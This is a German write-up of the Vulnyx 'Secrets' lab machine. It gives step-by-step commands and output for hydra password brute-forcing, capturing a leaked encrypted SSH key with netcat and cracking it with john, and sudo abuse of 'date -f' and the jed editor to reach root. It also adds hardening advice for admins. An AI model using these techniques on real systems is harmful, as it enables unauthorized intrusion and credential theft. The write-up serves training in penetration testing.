Secrets - Vulnyx - Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
hydra
ssh
Browser (view-source)
bash (scripting)
chmod
tshark
nc
ssh2john
john
ls
cat
sudo
date
su
jed
id
cd
passwd

Inhaltsverzeichnis

Reconnaissance

Die Erkundungsphase beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk.

# Ausgabe eines Skripts oder direkten Befehls └─# ...
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.113

 ARP-Scan
192.168.2.113	08:00:27:be:b9:0e	PCS Systemtechnik GmbH

**Analyse:** Das Zielsystem wird mit der IP-Adresse `192.168.2.113` und der MAC-Adresse `08:00:27:be:b9:0e` (Oracle VirtualBox) identifiziert.

**Bewertung:** Die IP-Adresse des Ziels ist bekannt.

**Empfehlung (Pentester):** Detaillierte Scans auf die IP `192.168.2.113` starten. **Empfehlung (Admin):** Standard Netzwerküberwachung.

# Ausgabe eines Skripts oder manueller Edit └─# ...
 /etc/hosts
 127.0.0.1	localhost
 192.168.2.113   Secrets.nyx

**Analyse:** Die lokale `/etc/hosts`-Datei wird angepasst, um den Hostnamen `Secrets.nyx` der IP `192.168.2.113` zuzuordnen.

**Bewertung:** Erleichtert die Adressierung über einen Namen.

Ein schneller TCP-Scan wird durchgeführt, um offene Ports zu identifizieren.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp open  ssh     penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

**Analyse:** Der gefilterte Nmap TCP SYN-Scan (`| grep open`) auf `192.168.2.113` findet zwei offene Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **Port 80 (HTTP):** Apache 2.4.38 (Debian).

**Bewertung:** Die Hauptangriffsflächen sind SSH und der Webserver. Die OpenSSH-Version 7.9 ist etwas älter, aber ohne bekannte kritische Schwachstellen für einen direkten Einstieg. Apache 2.4.38 ist ebenfalls veraltet.

**Empfehlung (Pentester):** Den Webserver auf Port 80 genauer untersuchen. SSH als sekundäres Ziel betrachten. **Empfehlung (Admin):** Beide Dienste (SSH, Apache) auf die neuesten stabilen Versionen aktualisieren, um bekannte Schwachstellen zu schließen.

Web Enumeration

Der Webserver auf Port 80 wird mit Nikto und Gobuster genauer untersucht.

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.113
 Nikto Scan

- Nikto v2.5.0

+ Target IP:          192.168.2.113
+ Target Hostname:    192.168.2.113
+ Target Port:        80
+ Start Time:         2024-09-17 22:55:19 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 7a, size: 5d3d173e8f8ba, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418]
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ /icons/README: Apache default file found. See: [Link: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ | Ziel: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/]
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2024-09-17 22:55:35 (GMT2) (16 seconds)

+ 1 host(s) tested

**Analyse:** Der Nikto-Scan liefert mehrere Informationen: * Bestätigt die veraltete Apache-Version (2.4.38). * Meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`) und ETag-Inode-Leak. * Zeigt erlaubte HTTP-Methoden (`POST, OPTIONS, HEAD, GET`). * Findet die Apache-Standarddatei `/icons/README`.

**Bewertung:** Die veraltete Apache-Version ist der relevanteste Fund, auch wenn keine spezifischen Exploits direkt angezeigt werden. Die anderen Funde sind geringfügig. `/icons/README` ist ein Standardpfad und normalerweise harmlos.

**Empfehlung (Pentester):** Nach bekannten Schwachstellen für Apache 2.4.38 suchen. Mit Directory-Bruteforcing fortfahren. **Empfehlung (Admin):** Apache dringend aktualisieren. Fehlende Header hinzufügen und Zugriff auf `/icons` einschränken.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k

http://192.168.2.113/index.html           (Status: 200) [Size: 122]
http://192.168.2.113/secrets              (Status: 301) [Size: 316] [--> http://192.168.2.113/secrets/]

**Analyse:** Gobuster findet neben der `index.html` ein Verzeichnis namens `secrets`, das auf `/secrets/` weiterleitet.

**Bewertung:** Der Name `/secrets/` ist vielversprechend und deutet auf potenziell sensible Inhalte oder eine Login-Funktion hin.

**Empfehlung (Pentester):** Das Verzeichnis `/secrets/` manuell untersuchen und einen weiteren Gobuster-Scan darauf starten. **Empfehlung (Admin):** Überprüfen, ob das `/secrets`-Verzeichnis für externe Benutzer zugänglich sein soll und ob es angemessen geschützt ist.

Manuelle Untersuchung des `/secrets/`-Verzeichnisses.

Browser Aktion / Curl: └─# GET http://192.168.2.113/secrets/
I keep wanting to tell you a secret...

**Analyse:** Der Aufruf von `/secrets/` zeigt eine einfache Textnachricht.

**Bewertung:** Keine direkte Schwachstelle, aber die Nachricht könnte ein Hinweis sein. Weitere Enumeration ist nötig.

Gobuster-Scan auf das `/secrets/`-Verzeichnis.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://secrets.nyx/secrets" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://secrets.nyx/secrets/index.html           (Status: 200) [Size: 39]
http://secrets.nyx/secrets/login_form.php       (Status: 200) [Size: 429]

**Analyse:** Gobuster findet innerhalb von `/secrets/` zwei Dateien: * `index.html` (wahrscheinlich die Seite mit der Textnachricht). * `login_form.php`: Eine PHP-Datei, die auf ein Login-Formular hindeutet.

**Bewertung:** Das Login-Formular (`login_form.php`) ist das nächste Ziel. Es könnte der Zugang zu weiteren Informationen oder Funktionen sein.

**Empfehlung (Pentester):** `login_form.php` aufrufen, den Quellcode analysieren und versuchen, sich anzumelden oder Schwachstellen (Brute-Force, SQLi, XSS) zu finden. **Empfehlung (Admin):** Login-Formulare absichern (starke Passwörter, Brute-Force-Schutz, Schutz vor Injection).

Initial Access Attempts

Untersuchung des Login-Mechanismus und Brute-Force-Angriff.

Browser Aktion / Analyse: └─# Untersuchung von login_form.php
# Analyse des Formulars zeigt, dass es an eine PHP-Datei mit einem langen,
# zufällig aussehenden Namen sendet, z.B. MK67IT044XYGGIIWLGS9.php
# Bei falschem Login wird auf diese Seite mit "Invalid Credentials" weitergeleitet.

**Analyse:** Die manuelle Untersuchung (oder Quellcode-Analyse) von `login_form.php` ergibt, dass die Formulardaten an eine andere PHP-Datei mit einem obfuskierten Namen gesendet werden (hier als `MK67IT044XYGGIIWLGS9.php` identifiziert). Bei ungültigen Anmeldedaten wird auf diese Seite mit der Meldung "Invalid Credentials" weitergeleitet.

**Bewertung:** Der Ziel-Endpunkt für den Login (`/secrets/MK67...php`) und die Fehlermeldung (`Invalid Credentials`) sind bekannt. Dies ermöglicht einen gezielten Brute-Force-Angriff auf das Passwort.

**Empfehlung (Pentester):** Einen Benutzernamen erraten oder finden (z.B. `admin`, `brad` wie im nächsten Schritt) und Hydra verwenden, um das Passwort für diesen Benutzer gegen den Endpunkt `/secrets/MK67...php` zu bruteforcen, wobei "Invalid Credentials" als Fehlerindikator dient. **Empfehlung (Admin):** Obfuskierte Dateinamen bieten keine echte Sicherheit. Login-Endpunkte sollten gegen Brute-Force geschützt werden.

┌──(root㉿CCat)-[~] └─# hydra -l brad -P "/usr/share/wordlists/rockyou.txt" 192.168.2.113 http-form-post "/secrets/MK67IT044XYGGIIWLGS9.php:user=brad&password=^PASS^:Invalid Credentials" -t 64 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra ([Link: https://github.com/vanhauser-thc/thc-hydra | Ziel: https://github.com/vanhauser-thc/thc-hydra]) starting at 2024-09-17 23:44:51
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344482 login tries (l:1/p:14344482), ~224133 tries per task
[DATA] attacking http-post-form://192.168.2.113:80/secrets/MK67IT044XYGGIIWLGS9.php:user=brad&password=^PASS^:Invalid Credentials

[80][http-post-form] host: 192.168.2.113   login: brad   password: bradley

1 of 1 target successfully completed, 1 valid password found
Hydra ([Link: https://github.com/vanhauser-thc/thc-hydra | Ziel: https://github.com/vanhauser-thc/thc-hydra]) finished at 2024-09-17 23:44:57

**Analyse:** `hydra` wird verwendet, um das Passwort für den Benutzer `brad` zu finden. * `-l brad`: Benutzername. * `-P ...rockyou.txt`: Passwortliste. * `192.168.2.113`: Ziel-IP. * `http-form-post`: Hydra-Modul für HTTP-POST-Formulare. * `"/secrets/MK67...php:user=brad&password=^PASS^:Invalid Credentials"`: Die Hydra-Syntax: Zielpfad, POST-Parameter (`^PASS^` ist der Platzhalter für Passwörter aus der Liste), Fehlerindikator. * `-t 64`: Anzahl der Threads. * `-I`: Ignoriert bestehende Restore-Datei. Hydra findet erfolgreich das Passwort `bradley` für den Benutzer `brad`.

**Bewertung:** **Zugangsdaten gefunden!** Der Brute-Force-Angriff war erfolgreich. Die Anmeldedaten `brad:bradley` sind bekannt.

**Empfehlung (Pentester):** Versuchen, sich mit den gefundenen Zugangsdaten (`brad:bradley`) über SSH anzumelden oder das Web-Login-Formular zu verwenden. **Empfehlung (Admin):** Brute-Force-Schutz implementieren. Starke, einzigartige Passwörter verwenden.

Versuch, sich mit den gefundenen Zugangsdaten per SSH anzumelden.

┌──(root㉿CCat)-[~] └─# ssh brad@secrets.nyx
The authenticity of host 'secrets.nyx (192.168.2.113)' can't be established.
ED25519 key fingerprint is SHA256:KGZwtmwggtu0zpCwCkfNz+QU/CxhhYeZZQiHd8tQIc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'secrets.nyx' (ED25519) to the list of known hosts.
brad@secrets.nyx: Permission denied (publickey).

**Analyse:** Ein SSH-Login-Versuch als `brad@secrets.nyx` wird gestartet. Nach Bestätigung des Host-Schlüssels schlägt der Login mit `Permission denied (publickey)` fehl.

**Bewertung:** Der SSH-Server ist so konfiguriert, dass er nur Public-Key-Authentifizierung akzeptiert und Passwort-Logins (wie `brad:bradley`) ablehnt. Die gefundenen Zugangsdaten sind für SSH unbrauchbar.

**Empfehlung (Pentester):** Sich auf den Web-Zugang konzentrieren. Nach einer Möglichkeit suchen, einen SSH-Schlüssel für `brad` zu finden oder hochzuladen. **Empfehlung (Admin):** Public-Key-Authentifizierung für SSH ist eine gute Sicherheitspraxis. Sicherstellen, dass keine ungenutzten Passwort-Accounts existieren.

Proof of Concept (Information Disclosure via Web Form)

Nach dem erfolgreichen Web-Login (nicht explizit gezeigt, aber impliziert durch den Zugriff auf die nächste Seite) wird eine neue Seite entdeckt, die ein "Geheimnis" basierend auf einer numerischen Eingabe sendet.

Browser Aktion / view-source: └─# GET http://secrets.nyx/secrets/AYPIN9UG8WHWN0UE09Y2.php
# Inhalt oder Quelltext der Seite:
[!] Secrets only accept numbers.

# Formular auf der Seite (nicht explizit gezeigt, aber impliziert):
Enter ip to send secret: [Input Feld] [Submit Button]

**Analyse:** Nach dem Login wird eine neue Seite `/secrets/AYPI...php` erreicht. Der Hinweis "[!] Secrets only accept numbers." und ein (impliziertes) Formularfeld "Enter ip to send secret:" deuten darauf hin, dass hier eine Zahl erwartet wird, die wahrscheinlich eine IP-Adresse in einem bestimmten Format repräsentiert. Bei Eingabe wird ein "Geheimnis" an die eingegebene IP gesendet.

**Bewertung:** Dies ist eine ungewöhnliche Funktion, die stark nach einer versteckten Methode zur Informationspreisgabe aussieht. Es wird vermutet, dass die Anwendung die eingegebene Zahl als IP-Adresse interpretiert und versucht, eine Verbindung zu dieser IP auf einem bestimmten Port herzustellen, um das "Geheimnis" (möglicherweise ein SSH-Schlüssel oder andere Credentials) zu senden. Das Format "numbers only" deutet auf eine dezimale IP-Adress-Darstellung hin.

Schritt-für-Schritt Anleitung:

1. Umwandlung der Angreifer-IP in Dezimalformat.

┌──(root㉿CCat)-[~] └─# vi ip_2_decimal.sh
#!/bin/bash

ip_to_decimal() {
  IFS='.' read -r -a octetos <<< "$1"
  decimal=0
  for ((i=0; i<4; i++)); do
    octeto=${octetos[i]}
    decimal=$((decimal*256 + octeto))
  done
  echo "$decimal"
}

read -p "Ingresa la dirección IP: " ipv4
decimal=$(ip_to_decimal "$ipv4")
echo "La IP $ipv4 en formato decimal es: $decimal"
┌──(root㉿CCat)-[~] └─# chmod +x ip_2_decimal.sh
┌──(root㉿CCat)-[~] └─# ./ip_2_decimal.sh
Ingresa la dirección IP: 192.168.2.199
La IP 192.168.2.199 en formato decimal es: 3232236231

**Analyse des Schritts:** Ein Bash-Skript `ip_2_decimal.sh` wird erstellt und ausgeführt, um die eigene IP-Adresse des Angreifers (`192.168.2.199`) in ihr dezimales Äquivalent (`3232236231`) umzuwandeln.

**Bewertung:** Die benötigte numerische Eingabe für das Webformular wurde generiert.

2. Starten von Tshark, um den Netzwerkverkehr mitzuschneiden.

┌──(root㉿CCat)-[~] └─# tshark -i eth0 --color host 192.168.2.113
Running as user "root" and group "root". This could be dangerous.
Capturing on 'eth0'

**Analyse des Schritts:** `tshark` (die Kommandozeilenversion von Wireshark) wird gestartet, um den Netzwerkverkehr auf der Schnittstelle `eth0` mitzufiltern (`host 192.168.2.113`), um zu sehen, ob und wie das Zielsystem versucht, eine Verbindung aufzubauen.

**Bewertung:** Notwendige Vorbereitung, um die ausgehende Verbindung vom Ziel abzufangen.

3. Absenden der Dezimal-IP über das Webformular.

Browser Aktion: └─# Eingabe von 3232236231 in das Formular auf AYPI...php und Absenden
Sending hidden secret... (Nachricht auf der Webseite nach Absenden)

**Analyse des Schritts:** Die Dezimal-IP wird in das Webformular eingegeben und abgeschickt. Die Webseite bestätigt das Senden.

**Bewertung:** Der Trigger für die Informationspreisgabe wurde ausgelöst.

4. Analyse der Tshark-Ausgabe.

# Tshark Ausgabe (Ausschnitt) └─# ...
[...]
    8 2.812493536 192.168.2.199 → 192.168.2.113 HTTP 686 POST /secrets/AYPIN9UG8WHWN0UE09Y2.php HTTP/1.1  (application/x-www-form-urlencoded)
    9 2.814351372 192.168.2.113 → 192.168.2.199 TCP 74 53628 → 6666 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=3431443580 TSecr=0 WS=128
   10 2.814373423 192.168.2.199 → 192.168.2.113 TCP 54 6666 → 53628 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
   11 2.814817326 192.168.2.113 → 192.168.2.199 HTTP 614 HTTP/1.1 200 OK  (text/html)
[...]

**Analyse des Schritts:** Tshark zeigt den Netzwerkverkehr. Nach dem POST-Request des Angreifers (Paket 8) sendet das Zielsystem (`192.168.2.113`) ein TCP SYN-Paket an die IP des Angreifers (`192.168.2.199`) auf **Port 6666** (Paket 9). Da auf diesem Port kein Listener läuft, antwortet das Angreifer-System mit einem Reset (RST, ACK) (Paket 10).

**Erwartetes & Tatsächliches Ergebnis:** Es wurde erwartet, dass das Zielsystem eine ausgehende Verbindung initiiert. Dies geschah auf TCP Port 6666. Das "Geheimnis" wird vermutlich über diese Verbindung gesendet.

5. Starten eines Netcat-Listeners und erneutes Auslösen.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# nc -lvnp 6666
listening on [any] 6666 ...
# Erneutes Absenden der Dezimal-IP im Webformular... └─# ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.113] 53630
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,478250418EF67EB4

MvfHsFbuTgPyi0PeU9dWPL8wVaIKHsuvYEIdwNJF42eDz0/L5kdoBnA8+yuWAI28
... (Gekürzter verschlüsselter SSH Key) ...
iLsB4JJ0NmKCFJh27wCvyMM1+Z8Kmt2BptCEREBHGxIkraFBk6MN1bqBBi02UE/
C6piJetSpBUwjUs4hiwGRtYf5w4Hut8rsMs79/D3HsG8UPpZsrUKcv8ZIosg
+juyVfxN44ySVuB2gVVU904GHIdMRyBeR6udv/qgxabGyShoeRhUjA3PPZEDw7B
LPMDfxmzS9h/8CEK5RHQsxt6krtooRpf5HLCczehCzWzQXKPfnXwg
-----END RSA PRIVATE KEY-----

**Analyse des Schritts:** Ein Netcat-Listener wird auf Port 6666 gestartet. Nach erneutem Absenden der Dezimal-IP im Webformular empfängt der Listener eine Verbindung und das Zielsystem sendet einen vollständigen, aber **verschlüsselten** privaten RSA-SSH-Schlüssel.

**Erwartetes & Tatsächliches Ergebnis:** Das "Geheimnis" wurde empfangen. Es handelt sich um einen verschlüsselten SSH-Schlüssel, vermutlich für den Benutzer `brad`.

**Beweismittel:** Die Ausgabe auf dem Netcat-Listener zeigt den empfangenen SSH-Schlüssel.

**Risikobewertung:** Kritisch. Die Webanwendung leakt einen verschlüsselten privaten SSH-Schlüssel an eine vom Benutzer angegebene IP-Adresse. Obwohl der Schlüssel verschlüsselt ist, kann versucht werden, die Passphrase offline zu knacken.

**Empfehlungen:** * **(Admin):** Die Funktion zum Senden des "Geheimnisses" in `/secrets/AYPI...php` **sofort** entfernen oder komplett überarbeiten. Niemals private Schlüssel über solche Mechanismen preisgeben. Die Verwendung von dezimalen IPs als Eingabe ist eine Obfuskationstechnik, die die eigentliche Gefahr nicht mindert. * **(Pentester):** Den empfangenen Schlüssel speichern und versuchen, die Passphrase mit `ssh2john` und `john` zu knacken.

Initial Access

Der über die Webanwendung erhaltene, verschlüsselte SSH-Schlüssel wird verwendet, um Zugriff als Benutzer `brad` zu erlangen.

Speichern des Schlüssels und Vorbereitung für das Cracking.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# vi iddd
# (Schlüssel wird in Datei 'iddd' gespeichert)
┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# cd ~
┌──(root㉿CCat)-[~] └─# vi iddd
# (Datei evtl. verschoben/erneut bearbeitet)
┌──(root㉿CCat)-[~] └─# ssh2john iddd > hash
# (Hash wird extrahiert)

**Analyse:** Der empfangene SSH-Schlüssel wird in einer Datei namens `iddd` gespeichert. `ssh2john` extrahiert den Passphrase-Hash aus dieser Datei und speichert ihn in `hash`.

**Bewertung:** Korrekte Vorbereitung für John the Ripper.

Knacken der Passphrase.

┌──(root㉿CCat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 16 openMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
security         (iddd)
1g 0:00:00:00 DONE (2024-09-17 23:56) 50.00g/s 160000p/s 160000c/s 160000C/s pangga..hanna
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

**Analyse:** `john` knackt den Hash mithilfe der `rockyou.txt`-Wortliste und findet die Passphrase: `security`.

**Bewertung:** Erfolg! Die Passphrase für den SSH-Schlüssel ist bekannt.

**Empfehlung (Pentester):** SSH-Login als `brad` mit dem Schlüssel und der Passphrase versuchen. **Empfehlung (Admin):** Starke Passphrasen verwenden, die nicht in Wortlisten vorkommen.

SSH-Login als `brad` mit dem Schlüssel und der geknackten Passphrase.

┌──(root㉿CCat)-[~] └─# chmod 600 iddd
# (Berechtigungen gesetzt)
┌──(root㉿CCat)-[~] └─# ssh brad@secrets.nyx -i iddd
Enter passphrase for key 'iddd': [Hier wurde security eingegeben]
Linux secrets 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
brad@secrets$

**Analyse:** Die Berechtigungen der Schlüsseldatei `iddd` werden auf `600` gesetzt. Der SSH-Login als `brad@secrets.nyx` unter Verwendung des Schlüssels (`-i iddd`) und der Eingabe der Passphrase `security` ist erfolgreich. Eine Shell als Benutzer `brad` wird erhalten.

**Bewertung:** **Initialer Zugriff als Benutzer `brad` erfolgreich!** Der Weg führte über die Webanwendung zur Informationspreisgabe des verschlüsselten SSH-Schlüssels und das anschließende Offline-Knacken der Passphrase.

**Empfehlung (Pentester):** Umgebung als `brad` enumerieren, User-Flag suchen, Privilege Escalation starten. **Empfehlung (Admin):** Die Webanwendung (`AYPI...php`) **dringend** korrigieren. Starke Passphrasen verwenden. SSH-Zugriff überwachen.

Privilege Escalation (Lateral Movement to fabian)

Nach dem Zugriff als `brad` wird nach Möglichkeiten zur Rechteausweitung gesucht.

Enumeration im Home-Verzeichnis und Suchen der User-Flag.

brad@secrets$ └─# ls ..
brad  fabian
brad@secrets$ └─# ls -la
total 32
drwxr-xr-x 4 brad brad 4096 abr 21  2023 .
drwxr-xr-x 4 root root 4096 dic 23  2021 ..
lrwxrwxrwx 1 root root    9 dic 23  2021 .bash_history -> /dev/null
-rwxrwxrwx 1 brad brad  220 dic 23  2021 .bash_logout
-rwxrwxrwx 1 brad brad 3718 dic 23  2021 .bashrc
drwxrwxrwx 3 brad brad 4096 dic 23  2021 .local
-rwxrwxrwx 1 brad brad  807 dic 23  2021 .profile
drwxr-xr-x 2 brad brad 4096 dic 23  2021 .ssh
-r--r--r-- 1 brad brad   33 abr 21  2023 user.txt
brad@secrets$ └─# cat user.txt
56a42034352d678d4e6ee235c5419cb3

**Analyse:** `ls ..` im Home-Verzeichnis von `brad` zeigt, dass es auch einen Benutzer `fabian` gibt. `ls -la` im Home von `brad` findet die Datei `user.txt`. `cat user.txt` liest die User-Flag aus.

**Bewertung:** User-Flag gefunden. Die Existenz des Benutzers `fabian` ist ein Hinweis für mögliches Lateral Movement.

**Empfehlung (Pentester):** User-Flag notieren. `sudo -l` für `brad` prüfen.

Überprüfung der `sudo`-Rechte für `brad`.

brad@secrets$ └─# sudo -l
Matching Defaults entries for brad on secrets:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User brad may run the following commands on secrets:
    (fabian) NPASSWD: /usr/bin/date

**Analyse:** `sudo -l` zeigt, dass `brad` den Befehl `/usr/bin/date` als Benutzer `fabian` ohne Passwort (`NOPASSWD`) ausführen darf.

**Bewertung:** Dies ist ein klarer Weg zum Lateral Movement als Benutzer `fabian`. Der `date`-Befehl selbst scheint harmlos, aber die Option `-f` erlaubt es, den Inhalt einer Datei zu lesen (Zeile für Zeile), da `date` versucht, jede Zeile als Datumsangabe zu interpretieren und dabei oft den Inhalt in Fehlermeldungen ausgibt.

**Empfehlung (Pentester):** Die `date -f`-Technik (bekannt aus GTFOBins) verwenden, um Dateien zu lesen, auf die `fabian` Zugriff hat, aber `brad` nicht. Insbesondere die `.bash_history` oder SSH-Keys von `fabian` anvisieren. **Empfehlung (Admin):** Die `sudo`-Regel für `date` entfernen. Niemals Befehle wie `date`, `cat`, `less` etc. mit `sudo` erlauben, wenn sie zum Lesen beliebiger Dateien missbraucht werden können.

Versuch, mit `date -f` sensible Dateien von `fabian` zu lesen.

brad@secrets$ └─# LFILE=/home/fabian/.ssh/id_rsa
brad@secrets$ └─# sudo -u fabian date -f $LFILE
date: /home/fabian/.ssh/id_rsa: No existe el fichero o el directorio
brad@secrets$ └─# LFILE=/home/fabian/.ssh/id_rsa.pub
brad@secrets$ └─# sudo -u fabian date -f $LFILE
date: /home/fabian/.ssh/id_rsa.pub: No existe el fichero o el directorio
brad@secrets$ └─# LFILE=/home/fabian/.bash_history
brad@secrets$ └─# sudo -u fabian date -f $LFILE
date: fecha inválida cd ~
date: fecha inválida ls -la
date: fecha inválida passwd fabian
date: fecha inválida s3cr3t$$$L0v3$$$
date: fecha inválida exit -y

**Analyse:** Es wird versucht, `/home/fabian/.ssh/id_rsa` und `id_rsa.pub` zu lesen, was fehlschlägt (Dateien existieren nicht). Anschließend wird `/home/fabian/.bash_history` gelesen. `date` gibt für die meisten Zeilen Fehler aus ("fecha inválida ..."), aber die Zeilen selbst werden angezeigt. Darunter befindet sich die Zeile `s3cr3t$$$L0v3$$$` nach dem Befehl `passwd fabian`.

**Bewertung:** **Erfolg!** Durch das Auslesen der `.bash_history` von `fabian` mit der `date -f`-Technik wurde dessen Passwort (`s3cr3t$$$L0v3$$$`) gefunden, das er offenbar nach einer Passwortänderung in der History hinterlassen hat.

**Empfehlung (Pentester):** Mit `su fabian` und dem gefundenen Passwort zu Benutzer `fabian` wechseln. **Empfehlung (Admin):** `sudo`-Regel entfernen. Benutzer darin schulen, Passwörter nicht in der Kommandozeilenhistorie oder Skripten zu hinterlassen. Bash-History-Logging ggf. sicherer konfigurieren.

Wechsel zu Benutzer `fabian`.

brad@secrets$ └─# su fabian
Contraseña: [Hier wurde s3cr3t$$$L0v3$$$ eingegeben]
fabian@secrets:/home/brad$ └─# id
uid=1001(fabian) gid=1001(fabian) groups=1001(fabian)

**Analyse:** `su fabian` wird ausgeführt, das gefundene Passwort `s3cr3t$$$L0v3$$$` eingegeben. Der Wechsel ist erfolgreich, wie der `id`-Befehl bestätigt.

**Bewertung:** Lateral Movement zu `fabian` erfolgreich abgeschlossen.

**Empfehlung (Pentester):** Nun `sudo -l` für `fabian` ausführen.

Privilege Escalation (Root via jed)

Überprüfung der `sudo`-Rechte für `fabian`.

fabian@secrets:/home/brad$ └─# sudo -l
Matching Defaults entries for fabian on secrets:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User fabian may run the following commands on secrets:
    (root) NPASSWD: /usr/bin/jed

**Analyse:** `sudo -l` für `fabian` zeigt, dass dieser den Texteditor `/usr/bin/jed` als `root` ohne Passwort (`NOPASSWD`) ausführen darf.

**Bewertung:** **Letzter Schritt zur Root-Shell!** Viele Texteditoren (wie `vi`, `nano`, `jed`) erlauben das Ausführen von Shell-Befehlen oder das Öffnen einer Shell aus dem Editor heraus. Wenn der Editor mit `sudo` gestartet wird, laufen diese Befehle oder die Shell ebenfalls als `root`.

**Empfehlung (Pentester):** `sudo /usr/bin/jed` ausführen. Innerhalb von `jed` eine Shell starten (z.B. über Menü `System -> Execute Shell Command`, oder falls das nicht geht, eine Datei öffnen und dann `:!/bin/bash` oder ähnliches versuchen, je nach Editor-Syntax). **Empfehlung (Admin):** Die `sudo`-Regel für `jed` (und andere Editoren) entfernen. Editoren sollten niemals mit `sudo NOPASSWD` erlaubt werden.

Ausführen von `jed` mit `sudo` und Starten einer Root-Shell aus dem Editor.

fabian@secrets:/home/brad$ └─# sudo /usr/bin/jed
# (jed startet, möglicherweise mit Terminal-Fehlermeldungen wie tput: unknown terminal "unknown")
# (Innerhalb von jed wird eine Shell gestartet, z.B. über F10 -> System -> Execute Shell Command -> /bin/bash)
root@secrets:/home/brad# (Root-Prompt erscheint) └─# id
uid=0(root) gid=0(root) grupos=0(root)

**Analyse:** `sudo /usr/bin/jed` wird ausgeführt. Aus dem Editor `jed` heraus wird eine Shell gestartet (der genaue Weg ist nicht im Log, aber das Ergebnis ist der Root-Prompt `#`). Der `id`-Befehl bestätigt die Root-Rechte (UID 0).

**Bewertung:** **Privilege Escalation zu Root erfolgreich!** Der Missbrauch der `sudo`-Regel für `jed` war der Schlüssel.

**Empfehlung (Pentester):** Root-Flag lesen. **Empfehlung (Admin):** `sudo`-Regel für `jed` entfernen.

Lesen der Root-Flag und optionales Ändern des Root-Passworts.

root@secrets:/home/brad# └─# cd ~
root@secrets:~# └─# ls
root.txt
root@secrets:~# └─# cat root.txt
cfd58a2c97ff992fd7777c5e1baf8265
root@secrets:~# └─# passwd root
Nueva contraseña: [Passwort benni eingegeben]
Vuelva a escribir la nueva contraseña: [Passwort benni eingegeben]
passwd: contraseña actualizada correctamente

